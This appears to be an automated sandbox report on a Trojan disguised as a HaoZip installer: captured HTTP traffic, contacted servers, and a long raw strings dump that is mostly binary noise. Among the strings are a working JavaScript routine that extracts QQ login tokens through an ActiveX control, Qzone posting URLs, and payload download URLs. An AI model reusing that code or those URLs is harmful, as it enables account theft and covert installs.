J2MhFTNkN2Y1kTOiICL6NXa6UmI2IzN9RDOiwyeikGZwoTMtxiIiQWN5ojIjNmZjJ2MkF2MihzMhRTZzEWMwMjZ0YDNj
HTTP/1.1 200 OK
Date: Sun, 09 Aug 2015 00:41:49 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: dict=kajjqqsfvflwffdq8sjkdkf4sjs9djw0; path=/
Set-Cookie: PHPSESSID=k4e3g7nrn0kb6plgiuv9ij7mt7; expires=Sun, 09-Aug-2015 08:41:50 GMT
Content-Length: 13456
Content-Encoding: none
Content-Transfer-Encoding: binary
Connection: close
Content-Type: text/json;charset='UTF-8'
91VfAijI6ICybJCLiIOii4GdiiwN0MjOQiWaisH9LJCMioIjsJnIsiII6IibJ0CL1Qz6MI
CZpJeys0nIwiIOiwmcwiiIiojuIRnIsQNDzojIkmlI7xSfAijI6ICybJCLiIOii4GdiywM
0MjOQiWaisH9LJCMioIjsJnIsiII6IibJ0CLyQz6MICZpJeys0nIwiIOiwmcwiiIiojuIR
nIsENDzojIkmlI7xSfAijI6ICybJCLiIOii4GdiCwM0MjOQiWaisH9LJCMioIjsJnIsiII
6IibJ0CL5Mz6MICZpJeys0nIwiIOiwmcwiiIiojuIRnIsUMzzojIkmlI7xSfAijI6ICybJ
CLiIOii4GdiCwOyMjOQiWaisH9LJCMioIjsJnIsiII6IibJ0CL4Ez6MICZpJeys0nIwiIO
iwmcwiiIiojuIRnIsUMTzojIkmlI7xSfAijI6ICybJCLiIOii4GdiywMxMjOQiWaisH9LJ
CMioIjsJnIsiII6IibJ0CLyEz6MICZpJeys0nIwiIOiwmcwiiIiojuIRnIsAMTzojIkmlI
7xSfAijI6ICybJCLiIOii4GdiSwOwMjOQiWaisH9LJCMioIjsJnIsiII6IibJ0CL2Az6MI
CZpJeys0nIwiIOiwmcwiiIiojuIRnIsQMDzojIkmlI7xSfAijI6ICybJCLiIOii4GdiywM
wMjOQiWaisH9LJCMioIjsJnIsiII6IibJ0CL5gj6MICZpJeys0nIwiIOiwmcwiiIiojuIR
nIscODyojIkmlI7xSfAijI6ICybJCLiIOii4GdiiwN4IjOQiWaisH9LJCMioIjsJnIsiII
6IibJ0CL1gj6MICZpJeys0nIwiIOiwmcwiiIiojuIRnIsQODyojIkmlI7xSfAijI6ICybJ
CLiIOii4GdiywM4IjOQiWaisH9LJCMioIjsJnIsiII6IibJ0CLygj6MICZpJeys0nIwiIO
iwmcwiiIiojuIRnIsEODyojIkmlI7xSfAijI6ICybJCLiIOii4GdiCwO3IjOQiWaisH9LJ
CMioIjsJnIsiII6IibJ0CL3cj6MICZpJeys0nIwiIOiwmcwiiIiojuIRnIsUNzyojIkmlI
7xSfAijI6ICybJCLiIOii4GdiywM3IjOQiWaisH9LJCMioIjsJnIsiII6IibJ0CLycj6MI
CZpJeys0nIwiIOiwmcwiiIiojuIRnIsANzyojIkmlI7xSfAijI6ICybJCLiIOii4GdiSwO
2IjOQiWaisH9LJCMioIjsJnIsiII6IibJ0CL4Yj6MICZpJeys0nIwiIOiwmcwiiIiojuIR
nIsgNDyojIkmlI7xSfAijI6ICybJCLiIOii4GdiCwM0IjOQiWaisH9LJCMioIjsJnIsiII
6IibJ0CL5Mj6MICZpJeys0nIwiIOiwmcwiiIiojuIRnIsgMzyojIkmlI7xSfEijI6ICybJ
CLiIOii4GdiCwM2MjOQiWaisH9LJSMioIjsJnIsiII6IibJ0CL5Uz6MICZpJeys0nI
<<< skipped >>>


POST /dbupdate/check.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.8888.8888;)
Host: update.antivirus.2345.com
Content-Length: 39
Cache-Control: no-cache

pid=2345AntiVirus&type=monitorcfg&ver=0
HTTP/1.1 200 OK
Date: Sun, 09 Aug 2015 00:41:50 GMT
Server: Apache
Cache-Control: max-age=0
Expires: Sun, 09 Aug 2015 00:41:50 GMT
Vary: Accept-Encoding
Content-Length: 0
Content-Type: text/html; charset=gbk
HTTP/1.1 200 OK..Date: Sun, 09 Aug 2015 00:41:50 GMT..Server: Apache..
Cache-Control: max-age=0..Expires: Sun, 09 Aug 2015 00:41:50 GMT..Vary
: Accept-Encoding..Content-Length: 0..Content-Type: text/html; charset
=gbk..



POST /query.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: db.safe.2345.com
Content-Length: 130
Cache-Control: no-cache

type=login&cid=2345safe&cv=1.5.0.4418&pv=1.0&code=N8293Y81f94822844cjMkBjZmRTOlNmNmdjYzAzYlNmN5MWOwMWYiFmMyIDZzgzYygjZwgTYkVzbjVGf
HTTP/1.1 200 OK
Date: Sun, 09 Aug 2015 00:41:47 GMT
Server: Apache
Set-Cookie: PHPSESSID=k4e3g7nrn0kb6plgiuv9ij7mt7; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: dict=fofedfdskdwdjmjwkfsmf1ifs3lco7fk; path=/
Set-Cookie: sid=k4e3g7nrn0kb6plgiuv9ij7mt7
Set-Cookie: PHPSESSID=k4e3g7nrn0kb6plgiuv9ij7mt7; expires=Sun, 09-Aug-2015 08:41:47 GMT
Content-Length: 68
Content-Encoding: none
Content-Transfer-Encoding: binary
Connection: close
Content-Type: text/json;charset='UTF-8'
==QfsxWudpjI5Rb2iJCL9Gxb15mOci2ctJCiLM0QVNIl6Iyc1XRY0NnIp7jIkFWoZJye..

The Trojan connects to the servers at the folowing location(s):

%original file name%.exe_1772:

.text
`.rdata
@.data
.rsrc
t$(SSh
~%UVW
u$SShe
kernel32.dll
ole32.dll
GdiPlus.dll
%S4WD
hg%fpM
S.Ac9SR
0.I%3s
,wAe.kI
aiUy'4xu
%c*@j
.eH'y
{&%U)
lj%4U
xe%CNs
9F.cLe
hJK.ZH
O.qt0
KERNEL32.DLL
COMCTL32.dll
GDI32.dll
MSIMG32.dll
MSVCRT.dll
MSVFW32.dll
USER32.dll
SkinH_EL.dll
hXXp://VVV.jiuhuabuy.com/biaoge/930/877265/
hXXp://qb123456.com/hx
413188828
70162287
hXXp://e.3600gz.cn
hXXp://VVV.3600gz.cn
hXXp://VVV.3600gz.cn/forumdisplay.php?fid=61
hXXp://VVV.3600gz.cn/viewthread.php?tid=1177
VVV.3600gz.cn
VVV.VVV.3600gz.cn.cn
{6AEDBD6D-3FB5-418A-83A6-7F45229DC872}
t.Jt&
.mixcrt
mscoree.dll
Please contact the application's support team for more information.
- Attempt to initialize the CRT more than once.
- CRT not initialized
- floating point support not loaded
operator
GetProcessWindowStation
USER32.DLL
RegCreateKeyExW
RegCloseKey
e:\SVN\rczip\bin\Win32\release\pdb\HaoZip7zSetup.pdb
ShellExecuteW
ShellExecuteExW
SHELL32.dll
GetProcessHeap
GetWindowsDirectoryW
KERNEL32.dll
GetCPInfo
GetConsoleOutputCP
.?AVRCPasswordDlg@RC@@
.?AV?$IUnknownImpl2@VIExtractCallbackUI@RC@@VICryptoGetTextPassword@2@@RC@@
.?AVICryptoGetTextPassword@RC@@
.?AV?$IUnknownImpl4@VIArchiveOpenCallback@RC@@VIArchiveOpenVolumeCallback@2@VIArchiveOpenSetSubArchiveName@2@VICryptoGetTextPassword@2@@RC@@
.?AV?$IUnknownImpl5@VIArchiveExtractCallback@RC@@VICryptoGetTextPassword@2@VIMtCompressProgressInfo@2@VIAskOverwrite@2@VISetSequentialInArchive@2@@RC@@
.?AVICryptoSetPassword@RC@@
.?AV?$IUnknownImpl2@VICompressFilter@RC@@VICryptoSetPassword@2@@RC@@
.?AV?$IUnknownImpl11@VICompressCoder@RC@@VICompressSetInStream@2@VISequentialInStream@2@VICompressSetOutStream@2@VISequentialOutStream@2@VIOutStreamFlush@2@VICryptoSetPassword@2@VICompressSetCoderProperties@2@VICompressWriteCoderProperties@2@VICryptoResetInitVector@2@VICompressSetDecoderProperties2@2@@RC@@
zcÁ
^^777>>79
Çhh@cc7cc7@@cc9^>JO%%*'L?
776:=7>}
?!:::!!::!!::
:!!&&!!:
%C&%%GG
%**%%**% 
%&**%**%%&&
%**%*&%***
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="HaoZip" type="win32"></assemblyIdentity><description>HaoZip</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v2"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo></assembly>PADPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD7z
aMSG ^
'ZAI.oq
.dE0gw}
/"%8U
?.KC5H
e.Q.tD
 -p.iX
Y.QzT
TW.kC
lQG.ta
.iJu]/)
.Qy"5
<qF
.uQvA
".xxK
.ub& B
=Ð;
g[%Fu
utõ
5<E/%XH
mzUdp?
;R%X1
L%c!n
.nHnW
r0%St
K.YhH
o?.PL
F%3sE
Y.wz'
zdU.dd
j{!.aB
6q%SA
%UXk&
.gmQnl{
L.hP(
{u.Ct
[DÜ
.xZn'_
0^.zq
icuT%D|b
i 2uD.fz]
5uI.yS
.LD$;
?.Lbt|SD
z.OJil
M.sqU
%xZBuk
j%dkts
;-þ
\xF.lz[@
.VdN?
,.ov1
.CTs"
b.fE\
6%S""
>.Vg#
9SAÕ-
2A.Sn
.Rre"`8u
>.jE l"h
.ht(UR
.FH<{_]
1:.xb
Cf.Ls;
x$.Yne
I*v.ovG _
l.RYw
.Xd&/N
_.tR4#
.izw#
i.Bf[
eBñu
Qd.bE
-Paw}
}.TPU]
^k .Ka
6&v%f:
^t.cnc
G.HI[
eO.Xm
UEo.aA
J-r}l
2.mo[RH
D*.NG^4
@.ssU
XTBKPY.sR
*.Kox,
g.yVZ7
.syhaW
M(_R.Tg
s.Pc%M
wV.Pp
KDp".QrM|
`.EL_
Kc.LL
j#V.tt
.gUF/
xNL%F
)D.na
.pX=d=
_Sz%C
>s.jYbp
e%F}y
.kIrXs9
57?.yN
_Rz.xH
kb.De
9V.HA
%fMeUh
)I$.pvR
>%Ute4(L6
F.xm=
-U}7Q A=l(
C~.LJ]
vS#%s
d{.pi
.hVPF
W3A"%S
hE.nq9wtp
.Of)dY
K}]%SbD
skpN%Fm
T.uHd
S0p3Tt%D
;%9UQ#
_3".iG
M?-
)1%X Z
A.CT~
Cf4%d
1.Jqj
"f.JO
.QxT4
RtcP
SqlA9G
.EI@d#
|r.SM
.wT~e
eQF.Ew
CJ.ZM
bKEy
-?X%DjM
41.wq
v5Z.pIl
7.tW7
.xl5P
#/C%d
%S~Oes
.YdtmT
o8.mc7y
D%xHY
Xb.LY
.CII<u
.fl1z
X:\~wle
L.RF0
V.dQyTk
L=#FTP#
}:.UC$
Ej.tp
|}C%X
uX.ns
^GL%(.Hv
&&zU.RP
{lfTp9
rH)P%c'
[.Zk9
k.wo3N
UQ.lNk
E%FTT
me%dL
@9C.Do>g1$
%f/^vrP
.Qk''
8%X;K
nV.cwF
)VWEb$
c:\u!
%X0D&4
'.MC|!
@EI_%C
.aE:1^p$
.Yb\]
].oGA
f5.vL>
%d"[(
Y%sC?Y
],%S9
k6.hpZ
`VTQ%s
mF.cA
.Rv2>
:.Po9
[.osY
.WA.U5
5.Be~
.mTOM
;.JfBXp
Ki7/ %9S
j:.eU
C.jG&&
~%xI$
.bjQG
byc>?%c
%fvin 
5.fgW
Gk.Xv
H7.EZ
%Ss"I
.fgF;
-l.VR
QuD%f
.Fn!Pi
JCL*.gN
5.hnp
=:2.Nr
1%FP^
=FJ.pw/
b$.Pz
1lZ%U
*]~%SG
j?o-l}
sSH\(
;C.Pf
GK%DJr
.fJ_x
7.Fj.
.PU[`dAA<
r?%UF
&w-uc}
%x=}g
.AjQY)
%s)um
,P.yxVQ
<"h%s{
.HYU!
.og\N
.S%u#i
V%d`W
9.Io.
f%c/kUR
|r%X2
o%s(h
Z"2#
.Wq'z
/%C:3
{/1=.biVF
C%f--
G.MJH
%.kcA
8U}%f
.heJy
$$.tI
Sax%FyQs
Db^.SF
pTMW-JT}
|SSH%
5%xY#%
h$!_
.UKqTH
e.tE|hf
SiN%S
-.kMk"$=0
.PXm7
<9%S6
L%uyJ
Z%cq^s@
.|%d`
tZ%S`u
6g.RH
.RF`j
.%FOhh
Xi(ÿ
F<%ue
(op..tD
2Q%dS
@~.Ci
.IAIk
)"x&>.ib
j@%s<M
%f<>5Yi
w.Shx
..Mdt
-Il%XAPn
Qa.gb
s.AWK
.bu"'w
K.znR1
~Z5.hdU
H.YZA
.tCt`
YlÚP
Qpk.CfFe
%CO9.V
.aL>_W
.Tt;>
.KREr\I
=X.nJ
kkBýt
nJ.ni
M4%D<
..mR&
diB,.Jq
.be-n
$C.rW T^PCb
.xUQ[/
.w(%U
5{:?@6)"
[)Õ]D
ýS"
O%D#R
i7<TI.UbC
%ds^L
d.dQ%
.DFxla
|r%.Xo
L2&B%c
U.lef
ÎO@
c<%c|7
.Anu"3
:-89}B
WEbbv
Zw=S%U4z;
%Ul&0
@Z%fi
.XVxL
TY%.F
YC7%DS
=.gY$Z
Mftp
y.Cn%
Ga.dK
e.ALf
~b=.yL
J@.ba
.Ir6iE
U').dY
EV%CL
cP%U"<@W
*.jn1,
.tX.>
.arJA
."B.nv
'C.BF
*.tCMd
kN%Cj:
-2P}U
nuI8%7x.,
-bl}X
$.XnL
.be"8:*
p$.cF
E%Sow
@35%.u
.zy?T
NsU.DS%
c.Vuq^
- %u}
\)wZ%D]{
4p/0%s
OR-i1}s"-v
L%xhJ,
lk.vO
%s#Z3
{]ly%SH'
\ D'k%U
~\"%X7
V3i%x
qj.iF
/G.skQ
.KFZo'
V.Oh*
%C(/oM
.nRPF
jk.tH{$e
f#.ca
`qI%u
!mK.Qn
%)]]<9_$_
Y.KUJK
-.qC9
=<=W
7%Fo*IT
}.iaBVi
qG%SW
.PnEx
.At|R
F.hFm
C.LK>
V_%St
od%ciH
w.NZZh
82uDP
.wgNe
p.Tj:L
KeyNJ
'I%%DG!
Y#%dW
LH.JtbL
itCp
%H.FP
}.hPZt
.rch%k
P_qQ7.xY
.PiVo
*a.aXB:
Z%UTj8
@` x%D
&I.ec
%1UcqZ
i9%CT
Syt!*%cU%Bi
)^.at|O1
>[%D"d
"@ix%Sc
.cJYW2
p.UE#
fby-%.MQ
.Uu4C
Um,.QZ
kib%cI
\.wJ4_
 %dq#0MD`
M=.Vi<
i,h.Ra}
Q.rn;
.LX[h
.uP2,
]%d)O
9.CRP
# e$.ww
.erja'tK
il-Zj}
h.QR.
.JS2{A
).aeX
B/.eD
.vvHr
.wB:_@
Q.%6X
p.gQ"
DH.mM
V#.OmE
.rmWHr9
9\%7xU
r.GOz;9
]CRtq
.su$FC
e.eR)Y#&
N.Nuy
.vCPbN
%dgM&
.UFJHf
Qo6.OlK5
%cQ\M
WuRl
aaH%f_kKM
\9%sN
.Av:,
].kKV
.aTkd
%sD\-
x@K`t.bq1
E!.NeJ
.yt[>
%sL6A_
y.zM?-
W .pU
D.AyS
>eXED
VO%ct
>@%U0
v.SII
B:.wA
 1|%S
.xP@'|:v
WJ.ZW
%X})l
vx-Ib
.ho6M(QpQ
FOA.gbQ
oAamD.ws)jr
G.Di#
%x&5w
.Kl1:
?.hA27
qw>-nb}|
{Cl0m.AX
me.wZA
JHÙ#=
.AK|s
F*.VO
<A%FR
CRT_y
.SE3z
^f.mgv?
y ..LYp
!j.VN6
.leoZ[P
.hY2f
.gSttS}
K.MbA
.Yk> 
(0D%C
t$nb.gc
N:\/R
 .us0
9.iVT
^:X%u
}p.wM
u-A}xwUi
C.Wgv
N!.BN
wNM%U
%f@U1\v
P!.Sd
D:3W.LX8
.BA3"l
@.Us&
.qx9Y
H3";.snu
2.Aje
d".Mg
l.zxG
n}g%Uxz
^n.SSz3
3.fq?)
.UX]2
F.MAI
.pU~a
&%U63*
%sBlA 
<.cjX
g.UGR3A
.FPXJ
dr.Bu
4u%uy
M.Ca\}
%DJ,h
"O4C.KT
l2Z0%S
.lj G
%C)1$g
g\*.ne
a]%.Xa
.isXg
7t.vj
{jz%d
*.AbO
dO.It
|*"%s
T*.if
TCpv
%f&%r_
P9?li.hF
; .kY
f:h%F
)1.XK
Z%8UH
rz%SH
 %u-%rWV
dü_
l_.lT
PQ.fc
}.jR.
{N.XS8
.Mv6,
Us84inQt%D
.GUCgTqfI
~3:.QwI
^%xXDqd"
(_.mZ
[Eo{.wb
|.rtM
k.sY1N
j%4x/
%sZ 0
%1u0^
Y%s ]
T]P~@.YO
F:.CW
g`.Bb&
Yv.Vb9
}GÒ
w.tP21
I%UM0
.cM^U0
3V<S%dn;
&g>.bc
.Da.y8
(_?"5/>7
F),%X
?X.Bl
|g%XBr
*ls.UP
>-.UrE
Y.FxPx]
`.zWP
^%3s 
.kM,J
20%C#
cg.spyl
xp%%c
.Ox-e
wM.jWVp=b{
F.gt3
F%S8_
.kjpF
IcRt
.HA@I`
%Xx8?Pw,9
:x.hh
S.XZ6
L%fVl
fCMdr
%1UHM8
}>NIZ.pP
0[.WK
\/.QMw
(n%x(
.VQj91
;.VVj
t.XfX
.rCWs
)xj%U
T%XG}
C@%Sv#
]i|9%U
,.Ru~
]:R.YH
t.vn>
MZ.Jq
JQb%d
<CrT~
,/g}V%S
X%XaM.P
%dx4'
H.fH%
B.ARJ
fYb.eD
%uV])
L.nAcg
7k.Ju
>a%D"
.By&#Y
$qWEb
1W.Qn
?.ZiT
.hHm?
k/q%u
nyB.ss
%xR8TZbW
29k\P.Ow&
..SRv
FGF.%9s
.EPSS
%U&ZE
lz.YTX
2%f{e
@tVM%s_\Z3)"
ZnT.BI
q*.wx
#Í|
V.uF\6
%S>>i(;
ly.gK!M
.dQsO
gcrt
!3.AoCZ
UVo%? .Em
%U&p_&C
= %Sp
.xK)hv
lL-T}
p%d-Dv]6d
P|.kd
:vVJ.YS
.dkg=
a.fxSYl
.CAU}$
.Pdz9
qcRT
_%c t
t*y.XX-
I/%x\
.FJ-(
L.Ch 
([.Hg
.dQJU
V4Ë
A9%sz|
FH%fY
g&>%S
Ko3%x
Sn%F}7
=.Xp@
%xMq.~
H<.QM
}T.pTX
R/.dZcG
.#.Rc
8D.kg:8J
Crt>m
.IF!dn
SQl5S
.jzmV
.sTf 
i.lDm
.tP0W
#weB#
4-"%^2 {
j7.Nd
*oYT
1V.Jl@
BH.Ol88@a8
W;*,.SJ'
%V.Fa
2.BCe
ZHV.CH
.N.vG
s.xT2
ad.wN
&6A%sY
8'#Q.ic
.SQ7S=
1:n.wt
#~ !;$#/
#;.Kf
%s|g-
jIX%4U
'd]^(c]Z%.d
|.neb
(w9Ik%S
@%UhR
,a.eq d_
x.CxH
lp.LJ
]\%dO
.ZnY\
W.IO,b
4.vm-p
i0.LC
w .UD
P.Aqx
1HExe
ftP[4k
.zJpC6
j.oHF
j-Qs}
".wS:
 %d/k
l;%DJ{v
p#o%d
&.Kzt
.Mx/u
^0.HIR
.Kf6!7
?ÞW
Gnfw%S
.Xd| "
).NAIa
.NPY@
.bl=@
.dS!9
M.NV5
}B.Kl
-]%f,'
&.uv`
.GLhN
A2.Te
l'.Zt
*T5u%5X
B.kGQ-
.Um6%
/%js%u
H.oG>#
:F9%F
.eneCBw5
).yLa
tt%)%cN
*%S$E
%S"Af
H.YJA
a%FPt
f|.jx
S8%Cl
eee@.FNz
Î'W
1p.bc
!r}%F
.lX'$r
.eUx6
y)%C"
\.Pe&
8x%Xy
.GQ\z
%cTe7
.Hu-(%
(KF.Wc}
[J.qE
.jR]f`B&
95Q.fp
.UM ,r
^@$.bI
P.cbB
9.VZP
.ZdK6
%6S>J
xV.xp
l7P%S
# S3 %S
-a}2$\
=T.QL
.Fod\o
.QiT).
aVqy|%C
KC"<%d^
=].eIk4J
V.QsU
! A%S
T@=%S
QY.Rt{
M.VF0
f%9X3
BÝt
VZ%C`mk
zD%SC
g%d /Y
%si.o
F%U&Wg>
I.dE${3
".dgg
->Ý
.zqZvj|n;H
%1.MQd
n.gD=
T7.qE$N
wqExefh=
s.KFP{sDlw
.a.fk
.bH?:^
{(b.FB0hV
dd.moB#
mKEY
.vjxi
R.XHq
#.IyO`Rkw/
m<%SO
XOßzb!
I^.hy9v
zBF%U
.RJUg
[%sszM
MEi)'C<
.KSUS
.Hrr=
'.HRP
.UF[<
#A1u{.KqJ
':.MY
%f-<UDX
D5%si
AyW.Ys
%fv,%u:2
ircMdO
.oROS
|o!.JD
%7UI8
I?%u}
\.SJB%
1.Ytm
g.sx5jg}
E"%ct
<%U2Y
H~$.ES
N~%f-
BRFTPx
-A}*L
dG2%Sa
Q.yB*
R.RRW
A%fN{I
IuRL
8x.LGr
2%F<6
msgC
T.lgG
}wBD%x\y
G%x~x
.Nxh;
6Q.Kk
/.eI2N
E$;O%x,
Fl.Ki
.fu^z
z.IK[
|m.Rp
q.kC~
h/QA.Fn@
E_%dN
:zot8%f
u/m"
k%D{6
C2.BD
5.ACJ
=%Se[|
.PzMj
w.jiB
).iEK
/ @"-T}
5W05.ae
%Dg$qO
Setup=2345pcsafe_k1742288.exe /S
hXXp://VVV.2345.com/?k1742288
atl.dll
wininet.dll
user32.dll
HttpOpenRequestA
HttpSendRequestA
HttpQueryInfoA
MsgWaitForMultipleObjects
&keyindex=9&pt_aid=549000912&u1=http://qzs.qq.com/qzone/v5/loginsucc.html?para=izone
&clientkey=
hXXp://ptlogin2.qq.com/jump?clientuin=
hXXp://qzs.qq.com/qzone/v5/loginsucc.html?para=izone
skey
hXXp://url.cn/fgcJDD
qb123456.com
#home&syn_tweet_verson=1&richtype=&richval=&special_url=&subrichtype=&who=1&con=qm
qzreferrer=http://user.qzone.qq.com/
hXXp://taotao.qq.com/cgi-bin/emotion_cgi_publish_v6?g_tk=
SSOAxCtrlForPTLogin.SSOForPTLogin2
hXXp://xui.ptlogin2.qq.com/cgi-bin/qlogin
document.body.innerHTML=GetuinKey();
function GetuinKey(){var text="";var q_hummerQtrl=null;var g_vOptData=null;if(window.ActiveXObject){try{q_hummerQtrl=new ActiveXObject("SSOAxCtrlForPTLogin.SSOForPTLogin2");var A=q_hummerQtrl.CreateTXSSOData();q_hummerQtrl.InitSSOFPTCtrl(0,A);g_vOptData=q_hummerQtrl.CreateTXSSOData();var a=q_hummerQtrl.DoOperation(1,g_vOptData);var V=a.GetArray("PTALIST");var f=V.GetSize();var H=$("list_uin");for(var g=0;g<f;g  ){var E=V.GetData(g);var P=E.GetDWord("dwSSO_Account_dwAccountUin");var U=E.GetStr("strSSO_Account_strNickName");var G=E.GetBuf("bufST_PTLOGIN");var A=G.GetSize();var N="";for(var Y=0;Y<A;Y  ){var B=G.GetAt(Y).toString("16");if(B.length==1){B="0" B};N =B};text =P '|' U '|' N ';'}}catch(b){}};return text};
Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; 125LA; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
http=
https
HTTP/1.1
Content-Type: application/x-www-form-urlencoded
hXXps://
hXXp://
len = str.length; i < len;   i) hash  = (hash << 5)   str.charCodeAt(i);
var t = QZONE.FormSender;
if (t && t.pluginsPool) t.pluginsPool.formHandler.push(function(fm) {
var a = QZFL.string.trim(fm.action);
a  = (a.indexOf("?") > -1 ? "&": "?")   "g_tk="   QZFL.pluginsDefine.getACSRFToken();
fm.action = a
VVV.qb123456.com
%d&&'
123456789
00003333
deflate 1.1.3 Copyright 1995-1998 Jean-loup Gailly
inflate 1.1.3 Copyright 1995-1998 Mark Adler
F%*.*f
CNotSupportedException
commctrl_DragListMsg
Afx:%x:%x:%x:%x:%x
Afx:%x:%x
COMCTL32.DLL
CCmdTarget
__MSVCRT_HEAP_SELECT
Broken pipe
Inappropriate I/O control operation
Operation not permitted
iphlpapi.dll
SHLWAPI.dll
MPR.dll
WINMM.dll
WS2_32.dll
VERSION.dll
WinExec
GetKeyState
GetViewportOrgEx
WINSPOOL.DRV
RegOpenKeyExA
RegCreateKeyExA
ADVAPI32.dll
ShellExecuteA
OLEAUT32.dll
WININET.dll
CreateDialogIndirectParamA
UnhookWindowsHookEx
SetWindowsHookExA
SetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
ScaleViewportExtEx
GetViewportExtEx
comdlg32.dll
Shell32.dll
Mpr.dll
Advapi32.dll
User32.dll
Gdi32.dll
Kernel32.dll
.PAVCException@@
(&07-034/)7 '
?? / %d]
%d / %d]
.PAVCFileException@@
: %d]
(*.*)|*.*||
(*.WAV;*.MID)|*.WAV;*.MID|WAV
(*.WAV)|*.WAV|MIDI
(*.MID)|*.MID|
(*.txt)|*.txt|
(*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR)|*.JPG;*.PNG;*.BMP;*.GIF;*.ICO;*.CUR|JPG
(*.JPG)|*.JPG|PNG
(*.PNG)|*.PNG|BMP
(*.BMP)|*.BMP|GIF
(*.GIF)|*.GIF|
(*.ICO)|*.ICO|
(*.CUR)|*.CUR|
%s:%d
windows
.PAVCNotSupportedException@@
out.prn
(*.prn)|*.prn|
%d.%d
%d/%d
1.6.9
unsupported zlib version
png_read_image: unsupported transformation
%d / %d
Bogus message code %d
libpng error: %s
libpng warning: %s
1.1.3
bad keyword
libpng does not support gamma background rgb_to_gray
Palette is NULL in indexed image
(%d-%d):
%ld%c
VVV.dywt.com.cn
.PAVCObject@@
.PAVCSimpleException@@
.PAVCMemoryException@@
.?AVCNotSupportedException@@
.PAVCResourceException@@
.PAVCUserException@@
.?AVCCmdTarget@@
.?AVCCmdUI@@
.?AVCTestCmdUI@@
.PAVCArchiveException@@
#include "l.chs\afxres.rc" // Standard components
PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGX%WinDir%\config.exe
%WinDir%\configs.exe
$ %U-
$o%X$
' %x"M
&v%f$
#9%c/
%d&M&
(B%9%u&
!]!#!5%5&
%u"I!
!w%X(W*c Y,
hXXp://VVV.jindiaoqizhong.com/ffdy/434/877265/
%s$O"
'=%D"
%F%P%
hXXp://jifendownload.2345.cn/jifen_2345/lkfish_k1742288_364334.exe
258824949@qq.com
hXXp://jifendownload.2345.cn/jifen_2345/kwmusic_k1742288_078129_v7.7.exe
hXXp://qb123456.com/1.txt
hXXp://jifendownload.2345.cn/jifen_2345/2345pinyin_k1742288.exe
hXXp://jifendownload.2345.cn/jifen_2345/iqiyi_k1742288_273904.exe
hXXp://jifendownload.2345.cn/jifen_2345/qqpcmgr_k1742288_120153884.exe
hXXp://jifendownload.2345.cn/jifen_2345/sohuva_k1742288_207982955.exe
hXXp://jifendownload.2345.cn/jifen_2345/2345explorer_k1742288.exe
@kernel32.dll
0^/> ~$4
' :#;$0*
,E%s"h"
%D'D:
%n%D*&6
%c$D%,$
p =%C
> j%f(R3
%x&?'Q'
&1#"""!}
%U(o4
> `#\&4"
3|)%"}!% "
(2 6$=$[#
%D&_&
%s1O:
@!s%U#.!
%f R0=5
9%f)z*q*
